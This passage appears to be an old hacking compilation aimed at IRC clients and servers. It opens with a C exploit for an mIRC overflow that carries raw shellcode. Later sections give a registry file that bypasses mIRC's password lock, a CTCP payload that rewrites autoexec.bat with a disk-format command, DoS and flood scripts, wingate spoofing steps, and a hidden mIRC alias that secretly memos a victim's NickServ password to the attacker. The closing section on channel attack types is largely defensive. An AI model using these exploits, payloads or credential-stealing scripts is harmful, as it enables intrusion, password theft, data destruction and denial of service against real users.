name containing the new version of EIP to be overwritten on the stack.

For this we need a magick number to be placed in currentnickname, this number

must satisfy the equation (magicknumber*100)+offset = location of pushed eip. Also

this magick number must not contain any zero bytes or spaces (value of 32). This

works by exploiting the integer overflow concept.

The following is the code which appears in mirc.

imul ecx, WhichNick, 64h

add ecx, offset PrimaryNick

Unfortuantly the location of the stack varies between different versions of windows.

NT, Win2k, XP all have the stack in very similar positions but it does move slightly.

Win98,Win98SE, WinME all have the stack in EXACTLY the same position. Windows 95 is

different again. Hence having to do a #define for the os you wish to exploit.

This may seem like quite a large mitigating factor but in reality this is very easy

to overcome if you couple this exploit with a HTTP server which sends out a page to

cause mirc to load and attempt to connect to our evil server. As Internet explorer,

is nice enough to tell us exactly what OS is running! I think we can blame MS for that

one, talk about giving us a helping hand!

*/

#include<stdio.h>

#include<windows.h>

#include<winsock2.h>

#define SOCKADDRCAST struct sockaddr_in *

// This fuction binds a listenig socket

SOCKET openlistensocket(void) {

SOCKET s;

struct sockaddr_in SockAdr;

// Get a new socket

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// Set the ip add ress we are going to bind to

memset(&SockAdr, 0, sizeof(SockAdr));

SockAdr.sin_addr.s_addr = inet_addr("0.0.0.0") ;

SockAdr.sin_family=AF_INET;

SockAdr.sin_port=htons(2680);

printf("2: Starting\n");

// Attempt to bind socket

if(bind(s, (SOCKADDRCAST)&SockAdr, sizeof(SockAdr))) {

// Failed free socket and return -1

printf("Failed to open, %u\n",WSAGetLastError());

closesocket(s);

return(-1);

} else // Success listen on socket

if(listen(s, 10)!=SOCKET_ERROR)

return(s);

else {

printf("Failed to open listen socket (listen, %u)\n",WSAGetLastError());

closesocket(s);

return(-1);

}

}

// Shell code, this just launches an executable

// specifid following the shell code. Currently

// it does not clean up properly, so mirc will

// crash.

char shellcode[44] = {

0x6A,0x01,0xB8,0xBF,

0x74,0x55,0x44,0xC1,

0xE0,0x08,0xC1,0xE8,

0x08,0x50,0xB8,0x50,

0x90,0x54,0x44,0xC1,

0xE0,0x08,0xC1,0xE8,

0x08,0xFF,0xd0,0x33,

0xDB,0x53,0xB8,0x10,

0x8e,0x54,0x44,0xc1,

0xe0,0x08,0xc1,0xe8,

0x08,0xff,0xd0,0x00};

#define EXPLOI_9x

#define MAGICNUMBER_NT 0x28eb207

#define MAGICNUMBER_2K 0x28eb205

#define MAGICNUMBER_XP 0x28eb205

#define MAGICNUMBER_9x 0x28Fc909

#define OFFSET_NT 20

#define OFFSET_2K 84

#define OFFSET_XP 12

#define OFFSET_9x 180

#define OFFSET_95 184

#ifdef EXPLOIT_NT

#define MAGICNUMBER MAGICNUMBER_NT

#define OFFSET OFFSET_NT

#else

#ifdef EXPLOIT_2K

#define MAGICNUMBER MAGICNUMBER_2K

#define OFFSET OFFSET_2K

#else

#ifdef EXPLOIT_XP

#define MAGICNUMBER MAGICNUMBER_XP

#define OFFSET OFFSET_XP

#else

#define MAGICNUMBER MAGICNUMBER_9x

#ifdef EXPLOIT_95

#define OFFSET OFFSET_95

#else

#define OFFSET OFFSET_9x

#endif

#endif

#endif

#endif

// Our main function

void main() {

SOCKET s,client;

char buf1[300],

buf2[190],

buf3[1500];

/* Perform winsock startup */

WORD wVersionRequested;

WSADATA wsaData;

HANDLE h;

int wsErr;

int len, *i;

struct sockaddr_in SockAdr;

wVersionRequested = MAKEWORD( 1, 1 );

wsErr = WSAStartup( wVersionRequested, &wsaData );

printf("1: Initialising %u\n",wsErr);

if ( wsErr != 0 ) {

/* Tell the user that we couldn't find a usable */

/* WinSock DLL. */

printf("Failed to start winsock exiting\n");

return;

}

// Open Listen Socket

s = openlistensocket();

// Accept a connection

len = sizeof(SockAdr);

client = accept(s, &SockAdr, &len);

printf("Accepted\n");

// Init the two exploit buffers.

memset(buf1, 'X', sizeof(buf1));

memset(buf2, 'Y', sizeof(buf1));

buf1[204] = 0;

buf2[OFFSET+3] = 0;

// Set the return address to be poped onto the stack

buf2[OFFSET] = 0x94;

buf2[OFFSET+1] = 0x74;

buf2[OFFSET+2] = 0x55;

// Set our little magic number

i = (int *)(buf1+200);

*i = MAGICNUMBER;

// Build the exploit string

sprintf(buf3, ":testserver 001 %s%scalc.exe :ddd\n:testserver 001 %s :x\n:testserver 001 test :x\n", buf1,shellcode,buf2);

// Send it

send(client, buf3, strlen(buf3),0);

// Wait

printf("Waiting\n");

Sleep(10000);

// Cleanup

closesocket(client);

closesocket(s);

}

How to disable a lock in mirc:-

mIRC 5.7, other versions may be affectedPROBLEM 'scalar' found following hole in mIRC (a popular IRC client for the Windows platform) that allows a malicious user to subvert the optional password on the mIRC.exe binary. IRC is a protocol designed to allow a means of communications across the Internet in real-time. This is a widely used channel, with connection establishment to IRC servers requiring software known as IRC clients. On the Windows operating system, one of the most widely used clients is: mIRC. This client is not totally secure, and has a somewhat significant vulnerability that allows a malicious user to bypass the mIRC password. Specifically, version 5.71 is analyzed within this advisory. In mIRC, there is an option to "Lock" mIRC. This option sets the requirement of a password to be entered before the program fully executes, and becomes functional. This options is located within the Options dialog window. Within the left hand panel, [+] General should be visible. The next step requires to click the [+] to drop-down the list of available options for the General subset. Now, the following should be clearly seen: [-]-General |-Server |-Lock Next step requires the "Lock" option to be chosen. This changes the right-hand side of the window, making available Lock options. On the upper right-hand side, is the button: Lock. Clicking this button opens a dialog box that requests a new password to lock mIRC. After entering the necessary data, "OK" should be clicked. This sets the password, and effectively locks the mIRC binary. Each proceeding execution of the program will require a password. This option seems to effectively secure the IRC client, however, 'scalar' found a way to easily subvert the password, and thus gain full control of mIRC without ever even entering a password. The password mIRC uses to "lock" mIRC is kept within the registry. To be exact, it is within the following key: HKEY_CURRENT_USER\Software\mIRC\LockOptions If no password is set, the value will be: 0,1. However, if a password is set, which is presumably the case, a similar value to the following will be the contained value: 3351915520,1. This value is actually for the password: abcdefg. As of yet, we do not know the algorithm used to encrypt the password. An interesting detail about the value contained within the key is that no matter the length of the password, it is always stored as ten numeric characters, followed by ",1." Although, the value may not actually be the encrypted password, it is simply my assumption. As stated previously, when mIRC is set with no password, the value contained within the key is: 0,1. Thus, if there is a password, and it was to be set to: 0,1, then it would consequently allow mIRC to execute without the requirement of a password. This easily accomplished vulnerability can be exploited by the following registry file, which should have the file extension: reg (i.e., mIRC_sploit.reg). Once the creation of the following exploit is created, the icon of the file should be double-clicked within Windows Explorer, and all subsequent messages should be agreed to. REGEDIT4 [HKEY_CURRENT_USER\Software\mIRC\LockOptions] "(Default)"="0,1" However, a more clever attacker will: 1. Rename the original "(Default)" key. 2. Use mIRC_sploit.reg to create a new "(Default)" key. 3. Use mIRC without entering a password. 4. Finish using mIRC. 5. Delete the newest "(Default)" key. 6. Rename the old key's name back to "(Default)". This method keeps the password, whilst still allowing a malicious user access to the program.SOLUTION No patches or workarounds are known at this time.

mirc got remote expliot:-
Mirc v5.82PROBLEM 'Trax' posted following. There is a bug in mirc v5.82 that allows remote control of clients via /quote and /ctcp (not the ctcp *:*:*:* code tho), this is different, it's the mirc coder's fault. This hole in mirc enable's people to remotely control people using mirc v5.82 using /quote and /ctcp. This morning on another network, someone did it to an ircop and globaled, if they wanted to they could have killed/akilled people. So please either ditch Mirc v5.82 or insert the below code.SOLUTION Downgrade mirc to v5.81 till a fix/new mirc comes out. Other solution is to put these in your remotes as they are printed here: 

ctcp 1:finger:haltdef 

ctcp 1:userinfo:haltdef 

ctcp 1:clientinfo:haltdef 

ctcp 1:ping:haltdef 

ctcp 1:time:haltdef 

ctcp 1:sound:haltdef c

tcp 1:msg:haltdef 

ctcp 1:/msg:haltdef 

This *may* screw up your scripts, so the downgrade is the easier option.

How to kill ping user:-
ircSYSTEMS AFFECTED Systems running mIRC and IRCN PROBLEM Number of vulnerabilities has been found in IRC clients. Using the command /ctcpreply, any user can make someone using the backdoored versions do whatever they want. For example: 

/ctcpreply (nickname) ping $quit(i,am,owned) /ctcpreply Dianora ping $mode(#us-opers,+o,hax0r) Result:

 *** ^DaWg^ (DaWg@cc576078-a.essx1.md.home.com) Quit (owned by you) 
Latest will will force Dianora to give ops to hax0r in #us-opers. For you unix users telnet to the irc server on port 6667 and type: user bleh bleh bleh bleh bleh nick asdfksdjflk (this will be your nick.. Get creative) then type: notice (nick) (press ctrl + a) ping $quit(i,am,owned)(press ctrl + a) and KABOOM! There are a lot of nice little things you can do with this bug. They can be forced to run arbitrary programs:

 /ctcpreturn (nick) $run(echo,"echo,y,|,format,c:\",>,c:\autoexec.bat) /ctcpreturn (nick) $run(c:\autoexec.bat) 

Any mIRC script that makes use of the event "ON CTCPREPLY PING" which does a $calc or any other remote/event that uses $calc is exploitable.

How to kill ur target's machine:)-

mIRCSYSTEMS AFFECTED Systems with mIRCPROBLEM James WorK posted following about another well-known irc "DoS attack" that has been ignored by client developers till now. The bug refers to mIRC client (http://www.mirc.co.uk) but it was reported to work on virc client as well (virc users confirm?): 

/nick com1 

/msg victim hey man! 

<victim> yes? victim replies to you and *wh00p* 

<victim> damn...my mouse locked! 

/nick com2 

/msg victim are you gonna answer me or ? few moments later... 

/msg victim are you there? 

error : victim is not on irc After a while... 

<victim_> hey! I'm back...I just got disconnected. 

Apparently if you /msg com1 or any other serial port (com2, com3, com4) or parallel port (lpt1, lpt2) or logic port (aux) etc...the message is sent directly to the port as well, which usually leads to crash of the plugged device (modem, mouse, printer, etc..). Some people using particular phone devices (multiple lines switch and sorta) had to reset them because phoneline was completely messed up after the DoS.SOLUTION A quick-fix is setting com1!*@* com2!*@* etc as complete ignore.

7.KILL SCRIPT BY WOOWOO!

# w00w00!

# this is a script to use the irc killing socket apps i made

# change mylong to the u_long that ircii sends when it sends

# a dcc chat request                                   - nyt

^set exec_protection off

@ KILLCONN = [irckill/irconn]

@ KILLACC = [irckill/ircacc]

@ MYLONG = [My IP in network long] # example is 3260545834

^alias leftof @ function_return = [$left($index($0 $1-) $1-)]

^alias dcckill {


if ([$0])


{



@ KILLPORT = rand(65535-1024)+1025



exec $KILLACC $KILLPORT



ctcp $0 DCC CHAT chat $MYLONG $KILLPORT



echo *** killing $0


}


{



echo *** usage /dcckill USER


}

}

^on ^raw_irc "% PRIVMSG % :_DCC CHAT chat % %" {


echo *** killing $0


if ([$index(_ $7)]==[-1])


{



exec $KILLCONN $6 $7


}{



exec $KILLCONN $6 $leftof(_ $7)


}

}

EXTRA OLD PING REPLY TRICK:-
IRCd 2.0PROBLEM A Bloke posted following. It was found some time ago that few of IRCnet's ircd's with +topic module can be rebooted by simply 

doing /quote TOPIC !etC (or-whatever !channel) 

This has been already mass-abused by 'EvIL MiRkhAx0rZ'SOLUTION There were some bugs in ircd and/or patches which caused this. The new version of topic patch is available e

CHANGING TOPIC'S NAME:-
I apologize for the strange title, but I don't think there was a better way to describe this interesting but very simple weakness. Ok, when you join a channel this is the first thing you see: 

*** Now talking in #irctactics

*** Topic is 'Welcome to #irctactics! New IrcTactics Weekly Polls! Current Hit Count: [4904] [2138 unique IPs logged] - http://www.irctactics.org'

*** Set by FlightSimGuy on Sun Oct 29 05:42:29 

There is a lot of interesting stuff here, but for today we'll be focusing on the bolded line: the person who set the topic. As you can see, mIRC only shows the nickname of the person who set the topic. Whether that is a client glitch or a server one is left for you to guess at, but we both now know that this glitch is there. How do you abuse it? 3 ideas: 

Joke Way: Set your nickname to dalvenjah, jim-mm, or the nickname of some other high-authority figure who isn't online at the moment, quickly set the topic, then set your nickname back before NickServ kills you. When the next person joins, he'll think that dalvenjah set the channel's topic and therefore visits your channel! What an honor! 

Sorta-Serious Way: If you have access to change the topic in the given channel, you can use this to simulate messages sent between high-authority people in the given channel. For exmaple: 

*** Now talking in #chat-world

*** Topic is 'To ChatWorldFounder: Please promote FlightSimGuy to the rank of SOP.'

*** Set by ChatWorldCoFounder on Sun Oct 29 05:42:29 

It doesn't take much of an imagination to see how this trick can be used to play with people's heads in other ways, but just one last idea... 

Sorta-Serious Way: Set your nickname to that of your enemy, and change your channel's topic to "HAHAHAH! I TOOK OVER THIS FRIGGIN GAY CHANNEL!" then change it back. When your enemy gets online, convince him to join this channel, op him, and leave. Then go to #operhelp and see if you can convince the IRCops that this guy took over your channel by playing newbie. This one takes some social engineering skills, but I've seen it done.
How to spoof ur identity in irc:-
*Domscan or WgateScan 2.2 (Found at http://www.warforge.com/dos/wingate.html) *IRC client (NON-*NIX Preferably mIRC or Pirch) Step 1 Get your domscan or WgateScan out (I'd use WgateScan cuz it searches for ip's for you, domscan is manual and you have to try each ip individually) ready for usage. Start DNSing people for their ip number. I'd usually dns the 24.xxx.xxx because cable modems usually have a wingate server running. After you get the ip, type it in the ip box on one of the scanners. Then start the scan, you don't have to configure anything. If you don't get an ip, keep scanning for more. 

Step 2 After you get the ip...type these steps into the edit box in the IRC client: 

/server xxx.xxx.xxx(IP Address) 23 

Then you'll get a bunch of garbage like wingate in ascii characters 

/raw irc.dragondata.com(Irc server you want to connect to) 6667(port) 

The connecting sequence will appear 

/raw user (username) (emailaddress) (userID) (forgotwhatthiswasusedfor,justtypeX) 

Finally 

/raw nick (nickname) 

And there, you're now wingate spoofing...sucka! 

How to hack a user on irc (A LAMER'S & SCIPRT KIDDIE'S WAY):-

In this i will tell u how to hack a user a easy

find a scanner smb-scnnaer made by flow

ok after u found one

take n e victim (no vhost user plz)

& type the ip of that user in the both fields

& if that user got a vulnerablitiy it will connect to it

just read it's content for more info!

THE MOST USEFULE COMMANDS B4 RUNNING MIRC:-
first of all when u run mirc most of the ppl don't thik which client or wat they are running most of the time some verions of irc contains backdoor.

b4 u run make sure to type these commands.

first /pdcc 99999999999

then  /events off

then /remote off (this will trun of ctcp events)

then mode w+

HOW one can secure his channel?:-
let us see now 

-ChanServ- Info for #attic:

-

-ChanServ- Founder    : ItalianCPL (xxxx@fl-edel-u1-c5a-65.pbc.adelphia.net)

-

-ChanServ- Mode Lock  : +snt-ipklm

-

-ChanServ- Description: ATTIC

-

-ChanServ- Options    : SecuredOps

-

-ChanServ- Memo Level : AOP

-

-ChanServ- Registered : Sun 01/09/2000 14:31:04 GMT

-

-ChanServ- Last opping: Sat 05/25/2002 19:39:42 GMT

-

-ChanServ- *** End of Info ***

-ChanServ- Info for #rommi:

-

-ChanServ- Founder    : Rommi (bokhari@ro0t.Info)

-

-ChanServ- Mode Lock  : +ntRM-iklmpsc

-

-ChanServ- Last Topic : Mess Wid Da Best Die Like da Rest (Rommi)

-

-ChanServ- Description: my chat zone

-

-ChanServ- URL        : http://www.Rommi.cjb.net

-

-ChanServ- Options    : SecuredOps, Ident, Verbose, Topic Lock(F)

-

-ChanServ- Memo Level : AOP

-

-ChanServ- Registered : Sat 03/03/2001 18:42:58 GMT

-

-ChanServ- Last opping: Fri 05/31/2002 07:05:52 GMT

-

-ChanServ- *** End of Info ***

NOW YOU MUST BE THINKING WAT THE FUCK IS THIS!

OPTIONS:SecuredOps, Ident, Verbose, MailBlock, Topic Lock(S)

SECUREDOPS(JUST A NAME IT IS NEVER FINE FOR A USER)

IDENT(YUP USER MUST NEED IDENT IN-ORDER TO SECURE HIS CHANNEL:)

MAILBLOCK(OPTIONAL)

TOPIC LOCK(THAT;S 2 COOL)

COME TO #ATTIC

MODES:+snt-ipklm

(INCREASING OPTIONS DOESN'T MEAN U ARE BECOMMING MORE SECURE IT IS ONLY UR MAKING UR-SELF

MORE DANGER)

OPTIONS:SecuredOps

(Vulernable , u will find y thourghout this text)

COME TO #rommi

MODES:+ntRM-iklmpsc

(THE SAME PROB WITH THIS GIRL)

OPTIONS:SecuredOps, Ident, Verbose, Topic Lock(F)

(IF THE IDENT IS DISABLE THE VERBOSE WILL BE GOOD FOR US)

OPTIONS: SecuredOps, Ident, MailBlock

(HM...don't even try to brutus force this it will take a years,use net split)

OK IF U WANNA KNOW MORE READ BELOW !

cLIENT FUCKED:-

he exploit uses vulnerability in the invite handling code (m_invite).

In channels with operators and modes +pi a channel invitation is reported to

all other operators. The buffer which is used to store invitation notice can be overflown.

Steps to reproduce this exploit:

  1. Client 1 (9chars!10chars@trivial) joins #199chars

  2. Client 2 (trivial!trivial@trivial) joins #199chars

  3. Client 1 sets mode #199chars +pio Client 2

  4. Client 1 invites Client 3 (9chars!10chars@63chars) to #199chars

  Note: client 1 and client 3 should not be from the same host. 

  Client #1's server = vulnerable IRC server (such as irc.arpa.com)

  Client #2's server = trivial

  Client #3's server = ComStud IRC server (such as irc.prison.net), because we need it to allow

  shellcode chars in hostname.

  Using the following spoofed host (59 chars):

  shellcodeshellcodeshellcodeshellcodeshellcodeshellcode.AAAA

  [The ComStud IRCd will check for a '.']

  Here, EIP = 0x41414141 (AAAA). The other registers are negligible. The hostlen is actually 63

  bytes, but for this specific overflow, EIP is overwritten at buf[54-58].

  As for how to go about spoofing, you have two options:

  1) Use the old DNS poison caching method

  2) Use custom "fake binds" that will just pass on your shellcode as a hostname in response to a

  DNS query.

  Option #2 is the approach we will demonstrate (hostname.c generates the shellcode used

  below). This will work fine as long as the IP/hostname hasn't already been cached. Because

  these "fake binds" are pretty popular (or have been in the past), they should be easy to come by

  and are outside the scope of this advisory.

  To sum up the necessary steps of the exploit: a client with the spoofed hostname, connects to a

  ComStud IRCd server (such as irc.prison.net), another client join the arbitrary client, and

  another client joins the target IRCd hybrid-6 server (such as irc.arpa.com). Once the channel is

  +pi (and your channel, ident, username, etc. are all the right length), invite the client with the

  spoofed hostname. Fine-tune until you have root.

Quick hacker Tricks :
- If you can get your victim to type /con/con his client, and probably his computer will crash

- If you can get your victim to type /nick Showdown he will get killed off DALnet

- If you're trying to send someone a backdoor script and the DCCAllow is blocking you, simply rename it with a .txt ending. You will still be able to load it like a script, but it will pass through the DCCAllow shield.

- If you can get your victim to type $dll(kernel32.dll,GetTickCount,000) and hit TAB, his client will crash.

- If a channel has added you to AKick by nickname and SET IDENT is disabled for the channel, you can add *@* to your nick's access list and everyone who is not AOP or above will be akicked from the channel!

- Some people claim to be Windows haters who only use Unix and similar OS's. An easy way to see if they are telling the truth is to simply type /ctcp <nick> version - A lot of people forget that this simple command will give away the operating system. Note: This one does not guarantee anything, since it can be reconfigured to send back a pre-programmed responce.
- You probably know about namezero.com, the service that lets you register a domain for free. If someone is bragging about a new domain he got and you want to check if it was registered for free with namezero, just type /dns controlpanel.domainname.com - If it resolves, its namezero. If not, it probably isn't.
Info about addons:-

An addon to add misbehave users into your "blacklist". It will kick and ban the user who has matched address in autokick list. The addon has a quite informative readme file, telling you how to load and how to use the addon. The addon is based on mIRC's userlist, which means all autokick listed users will be listed within mIRC's userlist (under Users tab in mIRC Editor). 

You can access the addon from channel popup or menubar popup. Addresses can be added within the dialog, you must add address mask like something*!*@*.something.net. The addon allows you to select 6 exempt channels so the addon won't kick the users. Beside that, it also allow you to pick an action when an autokick listed user join a channel that you don't have op. 

It would be better if the author used INI file or hash table to store the exempted channels list. But it's all personal preference. The coding is alright, the author should try using local aliases and while loops, but its not a big deal =) 

Good work, but there's still rooms

Old trick Ddos attack in irc:-

note: THIS METHOD HAVE BEEN USED BY SOME GOOD & COOL HACKERS

LIKE LINUX_GAL, & DIGITALVEXION IN #A-I-C. :)

[Cisco]

.Flood IP [ %newk.ip ]:/set %newk.ip $$?="Enter IP to flood " | /echo -a _***_ _Done_ now type /cisco routerip to begin flooding

.Set Times To Ping a Target [ %pngtimes ]:/set %pngtimes $$?="Times to send a ping" | /echo -a _Done_

.Set ICMP Packet Size [ %psize ]:/set %psize $$?="ICMP packet size (must be between 30 and 18024)" | /echo -a _Done_

.Set Delay Between Packets [ %delay ]:/set %delay $$?="Delay Between ICMPs in Secs (0 for flooding)" | /echo -a _Done_

.-

.Stop Flooding:/cisco-clr

.- 

}

on *:sockread:cisco*:{

if ($sockerr > 0) return

sockread %cisco 

if ($window(@cisco,1) == $null) { cisco-w | goto next } 

:next 

if (send isin %cisco) && (%cisco != $null) { echo @cisco %cisco } 

if ($chr(33) isin %cisco) { echo @cisco $sock($sockname).ip - %cisco } 

else { halt }

}

;telnet

alias telnet { 

set %telnet.n $2

sockopen telnet %telnet.n 23

echo @telnet _-Connecting-_

}

alias telnet-w { window -naek0 @Telnet Terminal 12 }

on 1:input:@telnet:{

if ($1 == /telnet) && ($2) && (!$sock(telnet).ip) { telnet $1- }

if ($1 == /telnet) && ($sock(telnet).ip) { echo @telnet -Already Connected to $sock(telnet).ip $+ - }

elseif ($sock(telnet).ip) { sockwrite -n telnet $1- | echo @telnet -> $1- }

}

on 1:sockopen:telnet:{ echo @telnet _*** CONNECTING }

on 1:sockclose:telnet:{ echo @telnet _*** DISCONNECTED }

on 1:sockread:telnet:{

if ($sockerr > 0) return

sockread %telnet

if ($window(@telnet,1) == $null) { telnet-w | goto next } 

:next

if (%telnet != $null) { echo @telnet %telnet }

}

menu @telnet {

connect:/sockopen telnet $$?="Enter Ip"

disconnect:/sockclose telnet | echo @telnet _*** DISCONNECTED

Another guide on by-pass guide(BSRF):-

Channel Operators might ban you after you have done something in their channel that made them angry :( . 

To bypass a ban you first need to know the ban type. There are a few ban types: 

1. nick!*@* - Bans you by your nickname. All you need to do is change your nick (by typing /nick newnick, or in raw session NICK newnick) and you can reenter the channel. 

2. *!user@* - Bans you by your Ident (UserID). If your computer is not running an IdentD daemon (A win9x with mIRC for example) you can easily change your Ident by clicking on the File menu, selecting Options, opening the 'Connect' sub-tree, clicking the IdentD label and changing the User ID. If you are under a Unix / Linux machine that is already running an IdentD daemon, you can't change it because it automatically sets your ident username to your login name. To change this you need to logon to the IRC through a Bouncer because bouncers fake you IdentD. 

3. *!*@host - You are banned by your IP / host. All you need to do is to connect through a firewall or a Wingate. 

Some times the bans are more complex like ^TCG^!*@*.actcom.co.il. 

This ban will prevent anyone named ^TCG^ with host that ends with .actcom.co.il 

If you are interested here is the format: 

Nick!user@host / IP

 |    |      |_ The IP or hostmask.

 |    |

 |    |_ Your username. The IdentD sets this. When running IdentD daemon it

 |       mostly not faked but when running windows or connection through a 

 |       bouncer it is probably faked.

 |

 |_The user nickname. If might also contain wildcards like *T*C*G*.

   This will prevent anyone with the letters T, C and G (in this order) 

   to join the channel.

Examples: ^TCG!*@*.actcom.co.il

             | |      |_________The server

             | |_Your Ident user (defined as the wildcard '*', meaning ANYTHING)

             |_Your nickname

As you probably know, channels have different modes. For example +o to make a certain person an OP (Operator), +b to ban a person etc'. To set a ban you type: /mode #Channel +b nick!user@host and to remove a ban you type /mode #Channel -b nick!user@host 

On a raw session you don't need the '/'. 

Hacking passwd in irc by hacking into a victim's system:-

Getting Passwords Of Nicks In mIRC by braCKett^ 




 A trick for getting somebody's Nick password. This is the trick for mIRC, the victim will be unsuspecting. I have successfully tested this thing on many of my friends with 100% results :-D. Hope you find it interesting!  The process is that you just put this alias in the victim's IRC's aliases section, and this will simply memo you(You must have a registered nick on IRC) when the victim identifies his nick. This sure, requires you to have access to the mIRC of the victim. This means having physical or virtual access to the system. Now how to break into the computer... this is beyond the scope of this paper :-).  Simply put this alias in the Aliases section. Go to Tools Menu and click on Aliases, paste this alias at the end.


/nickserv {

/set %y1 $$1

if ( %y1 == identify ) {

/set %y2 $$2

/.msg nickserv@services.dal.net $1-

/.timer 1 480 /.memoserv send <Nick> Nick: $me Password: %y2

/.timer 1 485 /.clear

}

else /.msg nickserv@services.dal.net $1-

/.unset %y1

/.unset %y2

}

Make sure to replace <Nick> with a valid registered nick of your own.

As you can see it clearly, the hang behind the whole thing is to modify the /nickserv command so that it contains a little processing. As such, the /nickserv command isnt in the mIRC program itself, it is processed by the server you are connected to. What we will do is to modify it locally, in mIRC. It would check every issuance of /nickserv command whether the perimeter (i.e. is the word preceding /nickserv) is "identify" or not. If the parameter is identify, it will simply hold the password following it in a variable and after some time elapses, it will memo the given nick (This should be provided by you) the Victim's Nick and Password. If the perimeter isnt "identify", it will silently issue the command to NickServ,thus no harm done :-).

Sometimes people also use the /identify command, this makes this really simple.It would be better if you copy this to aliases section too.

/identify {

/set %y1 $$1

/.msg nickserv@services.dal.net identify $1-

/.timer 1 480 /.memoserv send <Nick> Nick: $me Password: %y1

/.timer 1 485 /.clear

/.unset %y1

}

This does the same thing, just that it is concise for concise people :-P.

One other thing, this script is made for DALNet, just a model, tamper it for the Server you use :-)

INFO ABOUT FLOODS:-

Different Types Of Channel Attacks
There are lots of different ways to takeover a channel or make it unusable for its users. The common known attack types as well as some examples are described here to help you to prepare yourself for those kinds of takeovers and DoS ("Denial of Service", e.g. opless channel, desynch, etc.) attacks. 

Attack Types

There are four main categories that separate in different sub categories: 

General Attacks 

Op Attacks 

Password Attacks 

IP Attacks 

Eggdrop Exploitation 

Hostmask Faking 

Op Faking 

Bugs & Backdoors 

Shell Attacks 

User file Decryption 

Netsplit Modes 

Mode List Filling 

Shell Quota Overflow (UPDATED - 05.06.2000) 

Weak Passwords Login (NEW - 05.06.2000) 

Fake-Bot Link (NEW - 05.06.2000) 

Flood Attacks 

IRC Flood 

CTCP Flood 

Trigger Flood 

Text Flood 

Notice Flood 

Nick Flood 

Join/Part Flood 

PING Flood 

Resolve DNS Flood 

Port Flood 

Server Attacks 

Server OP 

Nick Collision 

Desynch 

Takeover Examples

Nick Collision & Server OP 

Desynch 

General Attacks

OP Attacks

When an op attacks his "own" channel, he usually starts to op someone else and/or deops your bots and users.

There's just one fix to this vulnerability: Choose your ops very carefully and don't allow them to "hand-op" anyone. Registered ops should only be oped by one of your bots. 

Password Attacks

Password stealing is a very big problem, since you cannot really avoid it. There are three methods to steal passwords.

Sometimes people automatically message their password to ident or op themselves to the bots nick, without checking the identity of the nickname. Actually this can be very bad, since an attacker just has to gain the bot's nick to get lots of valid passwords.

Another way to get a users password is the sniffer-attack. This attack is based on the theory that the intruder is on the same network or machine as your user or bot and sniffs everything that's being sent and received from the Internet.

There's also the possibility to brute force hack the passwords of your users on the bot, but with appropriate flood settings, different binds or a regular look at the logs such attacks can be easily avoided. 

IP Attacks

An attacker could theoretically interfere the communication between the client and the irc server. He could insert some commands or error messages, which would result in a disconnect.

There's also the possibility to get nuked by an attacker. The only protection against this kind of attack is to patch your machine and use non-standard and free (open source) software.

Eggdrop Exploitation

Hostmask Faking

On some irc servers it's possible to fake the own hostmask and therefore pretend to be another user. Therefore you shouldn't use the +autoop setting or the +a flag in your Eggdrop to avoid unauthorized oping. 

Op Faking

There's a way to steal another user's op request by flooding him off during the get-op procedure. Some people on eggheads mailing list have observed this, so it's not a product of a paranoid brain :-)

I'll explain this attack with a scheme: 

User: /MSG botname op mypass

** Bot receives request for op and checks it against his user file **

** Authentification complete, op user **

Bot: /MODE #channel +o user

This is the normal procedure when a user asks a bot for op.

The op fake attack brakes this chain now after the bot validated the user and sent out the mode command: 

User1: /MSG botname op mypass

** Bot receives request for op and checks it against his user file **

** Authentification complete, op user **

User2 floods User1 off

User2 -> User1

Bot: /MODE #channel +o User1

Notice that this procedure requires a lagged bot since the part of the user will be noticed. 

Bugs & Backdoors

Backdoors and exploits giving a person owner flag or op have never been seen in Eggdrop and it's unlikely such bugs will ever occur. But it's not unusual that scripts are trojans and contain backdoors, so advice your ops and choose your tcl script and modules very carefully (always take a look through the source). 

Shell Attacks

Unless you're your own admin you have to trust the administrator of your shell to look after the server. You have to delink the bot from the botnet and change all passwords very quickly if the server or your shell gets hacked, because access to the bots binaries and data files can't be prohibited then.

There's no way to secure a bot if the shell is hacked once. 

Userfile Decryption

You should always chmod your directory to 700 to avoid someone to read your user file and start decrypting your user file. If an attacker has enough CPU power, he can decrypt an Eggdrop user file in a day or two.

Another way of decrypting a user file is by brute force, the checking of blowfish salts against a wordlist. Tools for this like Egghack (12kb, md5sum: 7a9cebcbb60683da2aeb7c769fc7b784) aren't popular, though they can also be used for checking against weak passwords in your user file. You should check your user file every 3 or so months against weak passwords with this user file.

If you're using netbots, you could try my passwd components which checks each entered password against come criterions. 

Netsplit Modes

If your bot allows users to set bans/exempts/invites on your channel, any given user can set bans/exempts/invites on a split server that won't be removed on reconnect. This could lead so far that your bots can't kick a bot after a ban, since an appropriate exempt is set.

Another way in exploiting netsplit modes is to fill the mode list. IrcNET for example allows a total of bans/exempts/invites in one channel. If this limit is reached, no new modes will be allowed.

The solution for this kind of attack is a strict behavior of your bots towards Netsplit and user modes. 

Mode List Filling

Every irc server has a limit over the maximum count of modes allowed in a channel. IRCNet's ircd for example allows a total of 30 b/e/I modes set on a channel. This limit can be reached easily using Wingates and open proxies or vhosts to trigger a ban from one of your bots. Since version 1.4.0 Eggdrop doesn't push more bans to the mode list if it's full (max-bans) and therefore ping timeouts, but it doesn't remove old bans if there's a need for new ones.

Therefore you should use a script like sentinel (distributed with your bot) from slennox to set your channel to +i on floods. This prevents more users from join and notifies you about it. 

Shell Quota Overflow

If your bot is running on a box that has quota enabled, you have to watch carefully your space usage. If you reach your hard quota by any accident, Eggdrop can't write its user file correctly anymore and overwrites the old one with a 0 bytes file. If this happens for two days, your backup file will be set to 0 bytes, too. Because of this, just a .rehash or .restart is needed is required to make the bot crash. After such a crash, you have to setup the bot completely from the scratch.

You can avoid such a behavior if you set keep-all-logs to 0 and set max-logsize to a reasonable limit. Another possibility would be to write a script, which uses tar and gzip to compress the log files after being switched. If anyone has such a script available or plans to do so, please notify me, so I can put it here for download. 

The problem is known to eggdev, take a look at Eggheads Bugzilla 

Weak Passwords Login

There is a bug in the 1.4.x and 1.5.x series of eggdrop regarding weak password and login. If a user has set his password to for example "aaaaa" or "abcabc" any user can login to their account using "a" or "abc" as a password. 

The problem is known to eggdev, take a look at Eggheads Bugzilla 

Fake-Bot Link

